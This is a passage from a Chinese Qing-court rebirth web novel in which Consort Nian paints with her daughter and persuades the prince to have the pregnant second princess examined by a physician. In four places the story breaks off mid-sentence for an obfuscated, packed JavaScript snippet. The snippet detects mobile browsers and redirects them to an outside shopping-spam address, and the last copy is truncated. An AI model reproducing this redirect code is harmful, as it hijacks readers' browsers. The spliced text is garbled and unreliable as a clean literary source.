“主子,快别哭了。四格格都快被您吓到了。” 一提四格格,年月明才算恢复了神志,看着怀里懵懂的福满,立马摸了摸她的脑袋安抚,“对不起满满,是额娘吓到你了。” 福满摇了摇头,伸着小手将她脸上的泪珠擦去。 福满倒不是被吓到了,她只是有些羡慕年氏的女儿。 那个小姑娘即便是夭折了,还有人永远念着她挂着她。即使是她的母亲重生了,也从未忘记过她。 而她福满即便是出了车祸,躺在医院里怕也没人会关心她吧? “主子您瞧四格格都知道心疼您了,可不能再哭了。”白术忙拿过帕子将她脸上的泪痕擦去,又瞧了瞧那画,哄着她转移心思,“主子画了四格格赏灯,何不将您也一起画进去。您和四格格这衣裳是一样的,一同入画,肯定更好看。” 福满听她这么说也使劲点了点头,小手指了指画像,眼神亮晶晶地望着她,示意她继续作画。 年月明眸光在她二人脸上扫过,神情瞬间柔和了下来。她哪里不明白她二人的心思,含笑着应了,拿起笔继续作画。 白芷怕她腰疼,又在圈椅后面加了个软枕才算安心。 福满在一旁看着,觉得美人娘的这作画风格,倒是不同于中国传统山水人物画,而是有点像将中国传统绘画与西方绘画融合了,这种画的风格倒是有些像后世展示的郎世宁的作品。 难道年家还请过西洋传教士教习? 不过据说她那个未见过面的大舅舅,经常和西洋传教士往来,请传教士教妹子画画好像也不是不可能? 年月明不仅把她自己画了进去,还手中的笔一挥把院里玩闹的小丫鬟、满院子的各式宫灯都勾勒了出来。 玉壶光转,一夜鱼龙舞。 福满撑着身子看完画,便带着沉沉睡意步入了梦乡。 天色已晚,四爷今夜不来清辉院,给福满简单地洗漱后,年月明就没让人把她抱走。 母女俩洗漱后一起躺在拔步床上,年月明刚靠近,福满迷迷糊糊的凭着小孩子的直觉便钻进她怀里。 年月明爱怜的看着怀中娃娃,万千复杂难言的心绪皆化作了一声叹息,不久后她也进入了梦乡。 四爷来的时候,屋内的灯都熄了大半了。 年月明怕黑,帐子外总会留两盏灯,视线昏昏暗暗的,不至于太黑,也不会影响睡意。 四爷止住欲要请安的白术,朝帐子内看了一眼就从内室出来了。宫宴之后他又去了十三府里商议事情,回来的时候已经不早了。虽然知道她们母女已经睡下,还是想看上一眼。 他刚要离开,却见小塌旁立着的画架上展着一张画。 那画的风格他一眼便瞧出了是年月明所作。画风温馨祥和,执笔之人心情如何完全跃然纸上。四爷盯着画中那对母女看了许久。 白术跟了出来,见四爷坐在小榻上看画,也没打算走的意思,张口小声问道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273846|197664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “王爷可要留宿?” 四爷摇了摇头,除夕夜他喝多了留在了清辉院。今日十五,再留下到底对她名声不好。 不过他也不打算去福晋那儿,索性回了书房。临走前把那副赏灯图从画架上取了下来一卷放进袖子里带走了。 白术在旁边看的皱眉,却也不好阻止。 四格格极为喜欢这幅画,主子许诺了要送给她,还吩咐了明日找人裱好了挂四格格房里。 现在被王爷顺走了,明日主子知道定是得怨他。白术想到白日里王爷费尽心思的赔礼,结果到了晚上又将人家莫名得罪了,就觉得好笑。 把人家惹恼了,再费心的哄回来,也是够奇怪的。 福满第二日看到空空如也的画架,以及白术的解释无语的翻了个白眼。 人家辛辛苦苦画了一个晚上的画,他不问自取没收了,能待见他才怪嘞。 果然温柔如年月明也撇了撇嘴,见福满眼神有些不舍的盯着那空了的画架,柔声安抚,“额娘再给你画,画的比昨天更好。” 后面这句纯属是赌气了。 她若是知道那人晚上还来一趟,定然把那画收起来。也不知道他怎么养成的癖好,时常没收点画作和字帖,前世便是如此。 除了满满夭折后,她私下偷摸画的那些画像。 那是他们都不愿,也不敢提及的伤疤。 福满见年月明神色恍惚,立马扯住了她的手。那温热的触感将年月明心中涌出的痛苦慢慢驱散。 上天给了她重生的机会,她是该知足该忘掉那些痛苦的。 她的满满还好好的活着呀。 想到此年月明释怀的笑了笑,过去这段时日即便是重生了,她仍旧沉浸在前世的痛苦中无法抽身,甚至还惹得身边这点小人也跟着担忧。 “是额娘想糊涂了,让满满也跟着担忧。”年月明将福满抱进怀里,轻轻的亲了亲她的脸颊。这次福满虽是仍有些不习惯,但到底没再别扭的躲起来。 她主动蹭了蹭年月明的下巴,试图驱散她身上萦绕着的孤寂和痛苦。 福满虽然不知道年月明那个释怀的笑容是想通了什么,但能想通就很好啊。 这世上最大的痛苦莫过于自己钻牛角尖,自己不肯放过自己。 福满现代亲缘浅薄,她虽然羡慕渴望得到一份家的温暖,但如果得不到也不会让自己一直沉浸在伤怀的之中。 别人如果能给她,她会感激珍惜。别人给不了她就自己给自己。 所以她希望美人娘更够更爱自己一点,这样日后就算‘她’再夭折,她也能释怀能好好的生活。 年月明梳妆完要去正院请安。昨日是十五,今天合该去请安的。 年月明虽是身子弱被四爷免了晨昏定省,但这种特殊的日子,她还是坚持守着规矩去一去。 这次福满却懂事的没再缠着去。 经过上次请安那一遭,即便她在屋里待的无聊,也不愿再跟着去了。 年月明也怕她受凉,不愿带她。 母女俩意见达成一致,年月明出了门去,福满仍旧坐在窗前那个鱼缸旁边发呆…… 10.请安2 春熙院 年月明到的时候,那拉氏正拉着三个阿哥说话。 他们念书的时间早,来请安的时间也早,往常后院女眷到的时候,他们已经离开了。只是今日那拉氏似乎兴致颇高,拉着他三人说了许多关心的话,从衣食住行到念书识礼都问了个遍,才和女眷们赶上了。 弘历弘昼二人在旁边站着应话。虽是算不得十分亲近,但也还恭敬乖巧。然而旁边的弘时却有些心不在焉,直到那拉氏唤了他两声才回神。 那拉氏皱眉问道:“弘时可是近日念书太累了?” 弘时没少因为背不下来书被四爷惩戒,府上女眷也是多有耳闻。此时那拉氏当众提及念书之事,弘时顿时脸色有些不自然,“多谢嫡额娘挂念,儿子无事。” 那拉氏轻叹了一口气。 虽然弘时并非她所生,也从不亲近她。但她身为嫡母却不能不关心,所以又开口叮嘱,“你阿玛子嗣稀薄,之前府里又属你年岁最小,贪玩了些也无可厚非。但如今你年岁渐渐大了,又有了两个弟弟,合该给他们做个榜样才是。前段时间你阿玛刚给你换了师傅,以后可要用功读书了。” 弘时忙应了是。他不比弘历弘昼还小,被训诫两句也无所谓。他如今都快到了娶亲的年纪了,自然是脸上有些挂不住,只想赶紧结束话题离开。 然而旁边的李氏听了福晋这番训诫,不免心疼了起来。 她的三个儿子就剩下弘时一个了,自然该精心呵护着才是! “福晋此言差矣。弘时生来身份贵重,日后自然前途光明,又不是那等穷苦寒门举子,需要走科举之路。读书只要明理识字即可,何苦劳神伤身呢。妾身可不是那等狠心的额娘,死活逼迫孩子,等身子出了问题才知道后悔心疼。” 话落,那拉氏眼神黯了黯。 她知道李氏这贱人是讽刺她呢。 可如果她对弘晖要求没那么严格,也许他就不会伤了身子,也不会早早夭折了。 李氏见状捂嘴一笑,眼神一转看向对面的年月明,“四格格生来体弱,年妹妹自然也舍不得逼迫她吧?” 自然舍不得。 只是瞧着那拉氏神色黯然,年月明到底心中不忍,“触龙说赵太后,父母之爱子则为其计深远。而苏公说,惟愿孩儿愚且鲁,无灾无难到公卿。其实二者各有道理,初衷不过都是为了孩子好罢了。只是身在其位,必要谋其职。既然李姐姐对三阿哥期待颇深,还是对他要求严格一些为好。” 若是那人只是个王爷,孩子平庸愚笨些反而是好事。但对于一个皇子来说,平庸愚笨可能会是致命的缺点,尤其是能力配不上志向。 年月明记得前世,弘时不仅敲诈过她二哥一万两银子,还指使太监到民间敛财,能做出这等事,还是趁早严格管教吧。 然而李氏却冷哼一声,“年妹妹当真是站着说话不腰疼。等你有了阿哥的时候,还能说的这般轻巧吗?” 年月明心中轻叹,她自然也是不舍得。但四爷仿佛打了鸡血一般,福慧才一岁,他就送了笔墨纸砚亲自给福慧启蒙,甚至还给配了谙达教骑射。 见年月明神色恍惚,李氏更是得意,轻笑出声,“年妹妹惯来伶牙俐齿,怎么不说话了?” 年月明也不恼,淡淡的道:“李姐姐问我,我便说了几句肺腑之言。你既然不信,我又何必再浪费唇舌。” 李氏攥紧了帕子暗暗咬牙。 她最看不惯年氏这幅高傲的模样,仿佛带了一股子轻蔑。偏偏年氏话中避让,她也不好抓着不放。 经过李氏这一番夹枪带棒的话,那拉氏也没心思和弘时几个说话了,摆摆手让他们退了下去。 等三人退下后,福晋看着李氏,忽然关心道:“算起来,二格格生产是在今年三月份吧。如今怀胎八个月,最是辛苦。李妹妹也真是的,二格格派人送了信来,也不和咱们说说情况。莫不是二格格身体有恙,李妹妹怕我们担忧?二格格若真的身子不舒坦,李妹妹也别顾着那等子规矩,耽误了二格格。” 李氏一听福晋这话,脸色顿时僵硬了几分,急忙张口道:“福晋这是说的哪里话啊。二格格月份大了,过年不便回王府。她想妾身了,所以才送了封信来。信中也不过是些小女儿思母的话,怎么福晋还联想到二格格身体状况不佳了?” 福晋含笑点头,“二格格无恙自然是最好的。” 若说昨日下人报的信她只信了一半,那现在瞧着李氏的神态,那便成了九分了。 李氏往日因着二格格留在了京城本就得意。自二格格怀孕后便时不时的提及。如今临生产倒是鲜少提了,甚至二格格送了信来都不显摆了。 这多半是二格格状况不好的缘故。 即便是她嘴硬,可这屋里人又哪里看不明白。往日里李氏没少明里暗里,嘲讽年氏母女是病秧子,此时只能嘴硬到底了。 福晋和李氏的官司年月明看在眼中,自然也品的出其中的机锋。她本就想着该如何顺理成章的提一提二格格的事,此时福晋主动提及,刚好开口。 不过年月明动了动嘴唇,到底没说出来。 李氏好面子,经过前面这一番唇舌之战,若是她此时当众开口,好意落在李氏眼中,怕是也成了看笑话讥讽的了。 直到出了春熙院,她才叫住李氏,试探的道:“李姐姐莫怪我多嘴。实在是我生产那日的情形可怖,如今想来还是有些后怕的。二格格临近生产,即便是身体无恙,也该让太医经常去请个平安脉。毕竟是鬼门关走一趟的事,还是要提着精神的。” 李氏见年月明面色真诚,也不好冷脸。可一想到往日里自己对四格格冷嘲热讽,脸上有些挂不住。 她就不信了,年氏真能是好心关心二格格? 当即回道:“多谢年妹妹提醒。二格格不同于年妹妹。她是我生的,自幼就身子壮,不像妹妹这般弱不禁风。” 年月明被李氏讥讽一通,却也顾不得生气,连忙道:“我知道李姐姐不信我是出于真心。当然我也并非没有私心。算起来二格格生产预期和四格格生辰也差不了几日,我也是想四格格生辰前后,能够快快乐乐的度过。” 李氏这才明了,撇了撇嘴,“我已经禀了四爷,说二格格身体无恙。这转头又让他去请太医,岂不是成了我故意骗他了。” 年月明不曾想她已经报了平安,想了想,“二格格是四爷的掌上明珠,最重要的还是她的身体。若她真的身体不适,现在李姐姐说了,还有补救的机会,四爷即便是恼了,也只是一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280573|197664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。若真是瞒出了事……” 李氏上下打量她两眼,冷嘲道:“年妹妹还真是站着说话不腰疼。你红口白牙的一说,我就得相信?还得为着这莫须有的猜测,大过年的上赶着去触霉头?万一惹恼了四爷,弘时……” 年前几个王爷都上折子请立世子了,四爷虽然还没动静,可应当也不会太晚。 这个节骨眼上,怎么可以节外生枝。 那话李氏虽还未说完,但年月明却已经明白了。 李氏三子只剩弘时一个,偏爱些也无可厚非。可年月明却从未想过一个人的心能偏成这样。 李氏似乎看出了她眼中的嘲弄,愈发像被踩了尾巴的猫,“我的女儿,我自然知道轻重,就不牢别人狗拿耗子多管闲事了。” 说完扬长而去。 年月明心知李氏这条路是走不通了,也只能先回清辉院了。 * 今日天色正好,初升的阳光透过玻璃窗洒在窗前,逗着金鱼玩的小人儿身上,画面美好的如梦如幻,恍若隔世。 年月明心中软成一团,将身上的寒气散尽了才走了过去,“满满这是怎么了?” 原是福满刚坐在老地方,白青就端了水来准备给鱼缸添水。不过有福满在这守着,白青注定和昨日一样败笔而归。 白青愁眉苦脸,福满同样也是愁眉苦脸。 虽然她这两日都将人拦住了,但日后呢?她总不能时时刻刻守在这吧。 正当她想着怎么保住这株小白莲时,只听白青憾憾的和白芷嘀咕,“是我大意了,应该在四格格没醒的时候浇的!” 福满:“……” 据她所知,清朝时期养花技术已经颇为成熟了吧?怎么这个白青姐姐像是没经过上岗培训似的? 福满无奈的叹了口气,直到听见年月明的声音,这才收起了情绪,拉着她的手坐在旁边看花和鱼。 年月明不明所以,看向了旁边的白芷。 白芷忙笑着解释道:“年前包嬷嬷老家有事,走的匆忙了些。临走前把照顾并蒂莲的活计交代给了白青。那丫头只跟着她学过半月,半知半解,越养这花越没精神了。四格格喜欢这盆里的鱼,所以拦着不让白青浇水。” 小孩子哪里懂鱼儿最离不开水啊,只知道喜欢的东西不想被人碰呗。 若是换了旁的倒也无妨,只是这株并蒂莲特殊在是王爷送的。 之前主子从年熙少爷那借了纳兰大人的亲笔词集,读到兴起便抄了下来。其中一篇便是咏并蒂莲的。 王爷看见便将那张字帖收走了,过了几日便命人送来了这株并蒂莲。 年月明顺着白芷的话看向了鱼缸。前世这株并蒂莲,也随着满满的夭折而枯萎了。她那时只当是天意如此。 这辈子她将心思多放在福满身上,自然更没心情关注这花了。 如今瞧着它垂着头蔫巴巴的无精打采,死了着实有些可惜。 “你去前院问问还有没有养花精细的婆子。”她又想起福满不让人碰这鱼缸,便低头与她商量道:“额娘让人把你的小金鱼,先移出来好不好?满满放心,不会伤害它们的。” 福满忙赶紧点头。 虽然被误会成护鱼达人,但也算达到护花目的啦~ 11.四四的画 白芷奉命去了前院。其实这等养花活计平日里是直接问花房的,但这株并蒂莲和包嬷嬷都是前院直接送来的,不归花房管。 自然该去找正主的。 年月明得宠,白芷刚到,人精苏培盛就迎了过来。 待听清来意不禁有些无奈。 他还以为年侧福晋是让人请王爷过去呢,却不曾想竟是为了一株并蒂莲。 行吧,那并蒂莲也是王爷花心思重金寻来的。 就是不知道这并蒂莲养殖方式,和普通莲花有没有区别了。如果差别极大,那一时半会还真不怎么好寻到人。 万一养死了,这罪过就大了。 不过即便是这差事看样子不怎么好办,苏培盛还是笑着应下了。 不等白芷道谢,却听屋里四爷喊了一声苏培盛。他连忙止住白芷的话,先进屋去了。白芷话还未说完,不好直接走人,只能在屋外先等着。 屋内,不等四爷多问,苏培盛就贴心的把清辉院来人的事说了。 四爷卷起桌上的画,让人传了白芷进来。 “你主子担心了?” 其实……也没有。 不过王爷这么问了,白芷再傻也知道不能照实了说,连忙点了点头,“主子心疼极了。” 反正四格格也是主子,反正四格格确实心疼了。 只不过四格格心疼的是她的金鱼而已。 四爷心中熨帖,他就知道月儿喜欢。 不过再喜欢也不值得伤心。 四爷想去后院看看,可惜他今日还有事要出门,只能压下心中牵挂叮嘱道:“告诉你主子,不过是一株花,不值当她牵肠挂肚。她若是喜欢,爷再寻更好的给她。” 说着让苏培盛把桌上的卷轴交给白芷,然后让她回去了。 等白芷回到清辉院的时候,年月明母女俩已经用完早膳了。 年月明正低头给福满擦手,而福满见白芷抱了卷轴回来,大眼睛盯着那卷轴,不禁想便宜爹良心发现把她的画还回来了? 瞧着四格格好奇的目光,白芷立马笑着解释道:“这是王爷让奴婢带回来的。” 白芷说着扯了卷轴将那幅画展开了。 显然福满高估了她爹的觉悟了。 画中河灯闪烁,花影缤纷,一片火树银花。街上行人如织,车水马龙,熙熙攘攘。酒楼茶肆张灯结彩,生意红火。正当人感叹这河清海晏、一片祥和的景象之时,临窗的明楼上的美人映入了眼帘。 似是察觉到对面的注视,美人迎着视线望了过来,月白斗篷上的毛边儿映着一张巴掌大莹白如玉的脸儿,眸光似水,眉目如画,侧首回眸间,嘴角还噙着没来得及收回的浅浅的笑意…… 众里寻他千百度。蓦然回首,那人却在,灯火阑珊处。 [1] “我想起来了,这是那年上元节!”白芷惊喜的说完,忽然露出一副恍然大悟的模样,“老爷明明年前就给小姐报了病,说明年不参加选秀了。当时佐领还答应的好好的。结果过了个年的功夫就反悔了。原来这中间竟是王爷在搞鬼。” “胡说什么。”白术轻轻敲了一记她的脑袋,眼神警告。虽然她也是刚看了这画才反应过来,心中暗道王爷不地道,但到底这话也只能在心里说说。 别说她俩了,便是年月明活了两辈子,也是此刻才算明了。 前世他倒是问起过,她知不知道他第一次见她是什么时候,她道是圣旨赐婚后在定慧寺匆匆见过。他却卖关子笑而不语,她还没来得及细问,就被一些事打断了,之后就没再提起。 不曾想这段孽缘竟是开始的更早。 母亲直到三十多岁才生下她,又因为孕中怀相不好,所以她自娘胎中便带了不足之症。 父亲母亲自然不想让她进这深宫高门里去,所以早早便想好了假托病重,先应付过去选秀,等拖上几年,岁数大了,或招婿或选个家世低些的上进举子。 如果没有那年上元节的事,她是不是不会进宫,也不会嫁他,更不会像前世那般郁郁而终。 为什么这一世让她回来的这么晚呢? 若是再早点,再早点…… 年月明低头瞥见正盯着画看的福满,心底的不甘散去了几分。 罢了,人总要知足的。 等福满对那幅画失去了兴趣之后,年月明才吩咐人收了起来。 她又想起早晨的事,李氏那边行不通,只能从他那下手了,于是问道:“四爷可还在府中?” “奴婢回来的时候听王爷吩咐人备车,好像马上要出门了。” 年月明颔首,离二格格生产还有段时间,倒也不急于一时,想了想叮嘱白芷道:“你再去前院一趟,就说四爷傍晚回来,请他来一趟,我有事和他说。” 之后年月明便坐在画架旁继续作画,她早晨许诺给福满的要画更好的送她。昨日院里赏灯画的极好,可惜已经画过一次了,再画便没了新鲜感。 她正想着画什么之际,窗子下逗金鱼玩的小姑娘忽然冲她笑了笑,顿时福灵心至,提笔印在了画卷上。 年月明画的沉浸,福满走到她身旁她都没发觉。 这幅画已经画到了尾声,画的正是她时常坐在鱼缸前的画面。 对比昨日的赏灯画,这幅的整体构图和元素布局都算不得那么出彩。可是也许是画画的人倾注的情感更多,如此日常的场景竟是有了独特的灵魂。 这次没用白术和福满劝,年月明也把她加了进去。母女俩一个逗鱼玩儿,一个倚在榻上看书,虽是画上没什么交集,但任谁都瞧的出画面温馨至极。 “满满喜欢吗?”年月明坐了下来,手温柔的揉了揉福满的头发。 相比于昨日的赏灯图,福满其实更喜欢这幅。福满点头,指了指画,又指了指自己。 年月明立即明白她的意思,笑着道:“额娘现在就让人裱上,挂到满满屋里去。这次谁都抢不走。” 后面这句纯属是新仇加旧怨了,福满也跟着点头,显然母女俩对于某人抢画的行为颇为记恨。 * 李氏回到丹枫院,怒气还未消散,“好个年氏,平日里闷葫芦似的,不爱吭声。原来是咬人的狗不叫,一张嘴就会诅咒人。” 玉壶忙不迭上前为她解下披风,附和道:“主子说得是。您和她平日里素无往来,她今日突然关心起咱们二格格来了,奴婢瞧着就觉得古怪。想来正是像您说的,她就是巴不得您不好,才故意说那些不吉利的话来触霉头的。” 这话正戳中李氏心窝,“定是如此。我往日是说过她和她那个病怏怏的四格格,她这是记恨上了,变着法儿咒二格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286834|197664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格,想看我的笑话!” 流云正捧着新沏的茶进来,听到二人对话,眉头蹙了一下。她将茶盏放在李氏手边,温声道:“主子消消气,先用口茶润润嗓子吧。” 转头又对着仍欲开口的玉壶道:“我方才见外头小炉子上炖着主子的燕窝,火候怕是要到了,玉壶你心思细,去瞧瞧,别熬过了。” 玉壶话头被截,有些不甘,瞥了一眼面无表情的流云。流云是主子从娘家带来的,和主子自小一起长大,年岁大了也没出去嫁人,最得主子信任。 玉壶到底不敢争辩,只得悻悻应了声“是”,退了出去。 待门帘落下,流云才开口道:“主子且消消气。二格格是王爷的掌上明珠,年氏纵然有心看笑话,也得掂量掂量自己的分量。况且奴婢瞧着年氏不像是不知分寸的人,她方才的眼神里……不像是幸灾乐祸,反倒有几分担忧。” 李氏却不信年月明真能这般好心,冷哼一声,“难不成她真是菩萨心肠,普度众生来了?不过是比别人会装罢了。” 流云观察着她的神色,迎合道:“主子说的是,可奴婢想着她那话也不无道理。主子,要不还是让人再去给王爷说声吧。万一……” 流云话还没说完便被李氏决绝打断了,“没有万一!二格格不过是有些头晕目眩、腿脚抽搐罢了,怀孕不都那样嘛。那孩子从小就会耍小心思,不过是想让我多关心她几分罢了……” 李氏抚了抚心口自言自语的说着,越说脸上越是信服。 二格格那孩子打小就小心眼儿,明明是姐姐却一点都不知道让着弟弟。 她三个儿子只剩下弘时一个,自然多上心了几分。那孩子看在眼里更是嫉妒,愈发会使小动作争宠。那封信里的话和往日里与她讨糕点,和衣服的时候一模一样,所以能有什么大事呢? 流云知道主子的性子,凡是主子认定了的事,怎么劝都没用,况且这事还事关弘时阿哥,那就更不可能让步了。 自二格格怀孕后,主子为了讨王爷欢心就一直说二格格身体康健怀相很好。果然王爷听后心情大好,连带着对弘时阿哥都耐心了几分。 如今正是请立世子的关键时刻,主子怎么愿意冒一点风险? “并非我狠心,而是四爷如今眼中,只看得见年氏那个狐媚子。等她日后再有了儿子。我们母子就更入不得四爷的眼了……我今日若是去告诉了四爷,他自然会去给二格格请太医。可我之前和他说的话,就成了骗他的了。他本就觉得我偏心弘时,苛待了二格格。经过这件事,他日后怎么还会信我。那我的弘时可怎么办?四爷本就嫌他不聪明……在弘时世子之位没定下来前,咱们不能出一点差错。” 二格格是嫁出去的女儿了,再得四爷喜欢,也比不过弘时。弘时才是她下半辈子的依靠,只有弘时成为世子,他们母子才算是苦尽甘来。 流云见主子脸色愈发坚定,也只能暗暗叹了口气。 是啊,若是没有年侧福晋该有多好。 福晋无子,弘历、弘昼两位阿哥生母身份低,这世子之位摆明了就是弘时阿哥的啊。 可年侧福晋偏偏进府了。 自她进府便得了王爷独宠,她生了个哑巴女儿王爷都能奉若珍宝。 若将来生个阿哥,那这世子之位备不住就给了他呢? 12.年年劝人 傍晚四爷回府不等问起府中事,就听张起麟回话说清辉院请他过去。 四爷一听,嘴角带笑,换了常服,抬腿便朝着清辉院去了。 清辉院里,自用完晚膳之后,福满便拉着年月明在屋内溜达消食。 福满估摸着她美人娘这副身子,除了本身病弱之外,还有长期不锻炼的缘故。索性每日用完晚膳拉着她在屋里溜达溜达。 年月明宠她,什么都依着她,二人就这么足足转了小半个时辰,直到福满小身子,实在累的走不动了才停下来。 福满想如果有微信,她俩的步数估计都能上万了。 这屋里温暖如春,转了半个时辰母女俩都热的出了一身汗。福满是小孩子直接脱了外褂,穿着粉色中衣。年月明守着规矩,只解了里面对襟颈子处的盘扣透透气。 四爷进门就见母女俩,都一副累极了的模样。 小的四仰八叉的躺着,大口大口的喘着气。 大的守着规矩半坐半倚在罗汉床上,娇喘微微。 美人什么时候都是美人,即便出了汗也是香汗淋漓,娇躯颤颤,别有媚弱之态。 不等年月明起身,他就径直走了过来,坐到她旁边,有些纳罕的问道:“这是做什么了?怎么累成这样?” “用膳后在屋里溜达了一阵儿。”年月明未曾想到他来的这般早,见他当着众人的面,毫不避讳的直盯着她颈子看,脸颊本就没褪下的热意又涌了上来,“爷先坐会儿,妾身去去换衣服。” 四爷按住想要起身的人,似是意有所指,“天都黑了,还更衣作什么。” 反正一会都是要脱的。 “您浑说什么。”年月明快速的看了一眼福满,见她没注意,这才羞恼的瞪了他一眼,侧过身子就要将那盘扣再系上。 刚系了一颗就被他拦住了,“这屋里本来就热,你还出了汗,别闷着了。爷不看就是了。” 后面这句说的好像平白委屈了他似的。 年月明气他没脸没皮,但想到接下来要说的话便先忍下了。 她心中酝酿着如何开口。 四爷只当她害臊,俩人默契的都没开口。 “乖乖,喜不喜欢阿玛送你的衣裳和灯?”忽然凑近的大脸将福满的瞌睡瞬间赶走了,不禁默默的往后退了退。 来了这么多天,福满依旧不太习惯她这便宜爹的赤诚热情。 说好了的冷酷无情,喜怒不定呢? 这屋里几个人,论情感充沛,他绝对是能排第一的选手。 这罗汉床就那么大点的地方,任福满躲到哪里去,都逃不过魔爪。果然下一秒她就被一双胳膊捞了过去,被抱着举上举下,一副她不理人就不停下的架势。 福满倒是不害怕,但是看着对方兴致正浓,还不知道玩到啥时候去,连忙抱住他的胳膊,小鸡啄米般点头。 说实话,这身衣裳福满还是很喜欢的。 四爷瞧着闺女水汪汪的眼睛里流露出喜欢的神采,也跟着笑了,又想起那副被自己收走的赏灯画里,母女俩身着相同衣裳的画面,转头看了一眼年月明。 闺女倒是还穿着,她额娘却换上了旗装。 虽说美人儿穿什么都是美人,但汉装确实更衬她的气质。 “早上去春熙院请安了?看你心神不宁的,福晋说你了?” 年月明想着事情,不曾想他问话,下意识的点了点头。 四爷眉间一蹙,“她说你什么了?” 两句话在年月明脑子里又过了一遍,才知道他问了什么,当即摇了摇头,“妾身刚刚没听清您说什么。福晋贤良宽容,哪里会说我。” 不过既然他提及请安,倒是先替她开了个口,索性接着他的话道:“是因为早上听福晋提起二格格临近生产的事。妾身不由得想起了当时生满满的场景了。这都一天了,还有些缓不过神呢。” 年月明声音低低的,一副后怕不已的模样。 四爷刚松开的眉头又皱了起来,其实他想起那日也是有些后怕的。 他一个大男人旁观者都尚且如此,她这个亲身经历的人,肯定会更害怕。 四爷叹了口气,将福满重新放到床上,揽住了她的肩柔声安抚,“都过去了,别想那些事了。你和满满现在都好好的,以后还会越来越好。” 年月明心有余悸般点点头,想了想,盈盈水眸看着他又道:“女人生子不亚于在鬼门关走一圈。妾身虽与二格格没什么交集,可是以己度人也是忍不住为她担忧。况且她是爷唯一长成的女儿,自是该更加仔细着才是。” 四爷心中涌过一阵暖流。他喜欢她不单单是为了她的美貌和才情,还有这份单纯和善良。她与二格格都没见过几面,但却因为他的缘故多有挂念,实在是个好的。 “难为你挂念着二格格。你放心,等二格格快到日子的时候,爷让太医每日去纳喇府守着。” 到时候就晚了。 可他既然认定了二格格身体康健,自然不会怀疑她现在身子有什么不适。 年月明这个与二格格毫无交集的庶母,提及一两句还算人之常情,但若贸然要求让他去请太医理由何在? “你今日到底怎么了?”四爷看着那双蒙了层忧虑的美目,有些无奈。 她这种书读的多的女子最是聪慧,但也许正因为这份聪慧,就容易想的有些多,有时候会思虑过重。 四爷想不通,索性直接问了。 “妾身怀着四格格的时候,有时会眩晕、腿脚时常抽搐。有一次差点晕倒,所以请了刘太医来诊脉。刘太医说有妊娠风痉的迹象,好在还不严重,吃些药调理调理也就过来了。” 四爷听罢,紧张的问道:“我怎么不知道?” “当时爷随着皇上去了木兰秋狝。一时半会也赶不过来,妾身和您说了,也是给您徒增烦扰。这病好了,更没说的必要了。” 年月明确实得过妊娠风痉,但那是在前世怀福沛的时候。不过刘太医和年家有些渊源,她这般说,即便是四爷去问刘太医也问不出什么。 “当然有必要。以后你的脉案不能隐藏半分,都要如实告诉爷。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289856|197664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >年月明目的不在此,顺从的点了点头后又说道:“妾身后来看医书才知道,这种病极为骇人。前期症状不明显,所以不易诊出。到了后期发现的时候就晚了,头晕目眩,身体抽搐,很可能会一尸两命……” 四爷听她这么一说,皱紧了眉头,“你是担心二格格会得这种病?” 年月明觑了一眼他的神色,“妾身并非诅咒二格格。妾身只是今日听了二格格的消息,忽然就想起了这一档子事。当然二格格身体强键,非妾身所能比,应当不会如此。可当心着些总是没错的呀。” 四爷确实脸色不好看,倒不是他对年月明说的话不喜,而是觉得有些奇怪。 瞧月儿这态度,怎么有种笃定了的感觉呢? “你说的有道理,爷知道了。从年前到现在,我确实有些忙,听李氏说二格格身子大安,就没再多问。明天爷让人请刘太医过去瞧瞧。” 四爷说罢,将她身子转了过来,愈发温柔的对她道:“月儿你有什么话就坦白了和我说,不需要这般斟酌小心。” 年月明笑着嗔他,“妾身与二格格没什么交集,说多了怕您心中怕是会生猜疑。” “猜疑你什么?说的再多,这事对二格格,也是只有好处没有坏处。爷还得谢谢月儿这么关心她呢。” 目的达到年月明便放心了,至于他的话…… 她与他在一起生活过多年,自认为算是了解他的性子。 